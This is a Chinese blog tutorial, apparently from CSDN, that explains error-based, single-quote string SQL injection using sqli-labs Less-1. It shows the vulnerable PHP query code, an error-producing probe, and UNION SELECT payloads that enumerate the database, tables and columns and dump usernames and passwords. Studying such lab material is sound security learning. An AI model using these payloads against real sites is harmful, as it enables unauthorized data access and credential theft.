关于sql注入入门的一些事

0x00 Outline

我们经常提到各种sql注入,并且在学习的过程中我们看到了各种做题记录(比如sqllab)等等,这篇博客就不跟风啦!

我们从另外一个角度来学习sql注入,即剖析原理!硬读代码(强行从黑盒变成白盒,目的就是为了面对黑盒的时候心中有数

我们这篇博客的一个思路就是弄清楚,为什么xxx题叫xxx,这个题的类型是别人总结好的,那我们来看看为什么叫这个!


例如

GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)

为什么叫GET - Error based Single quotes - string

0x01浅跟一手风,我们从sqllab开始吧!

less-1

做过sqllab的同学都知道,这第一关就是个

GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)

if(isset($_GET['id']))
{
$id=$_GET['id'];
  
/*这里是用来log的,跟这个题没啥关系
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
*/
​
// 以下是用来进行数据库操作的代码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
print("你的查询字符串是:");
print($sql);
echo "<br/>";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

GET

if(isset($_GET['id']))
{
$id=$_GET['id'];
  ...
}

题目通过get方式请求传入一个参数,即我们的查询参数都给到php文件中的全局变量数组$_GET['id']

Error Based

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);

可以看见我们传入的语句被放入了$sql变量中的一部分 id = ' $id' 这个后引号限制住了我们的所有操作,如果想要hack点什么东西就必须得越过这个单引号。

为了确保我的目的是对的(越过单引号)我需要先传一个

payload: .../?id=0’

request: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''0'' LIMIT 0,1' at line 1

这样就验证可行了

Single quotes

当使用<form>标签的get或者post方法时,最后会给php中的某一个变量分别赋予用户输入的值,而在赋值完之后把这些变量加入到sql语句中时,会自动加上两个单引号。比如用户输入abc,最后在sql语句中会自动变成 ’ abc ‘ 的形式,因此使用一个单引号等价于让之前语句提前结束了

payload

剩下我们需要干的就是前面说的,绕过这个单引号用--+,剩下的爆库查表就不说了,如果有问题请去看sql的语法,用这个lab学的更快哦

https://www.mysqltutorial.org/

//爆库
?id=-1' union select 1,2,database() --+
//爆表
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
//爆列
?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
//字段
?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
//payload
?id=0' union select 1,2,group_concat(username,0x3a,password) from users--+

这篇blog是一个test,看一下这样子替代做题记录效果如何

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

LiujiaHuan13

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值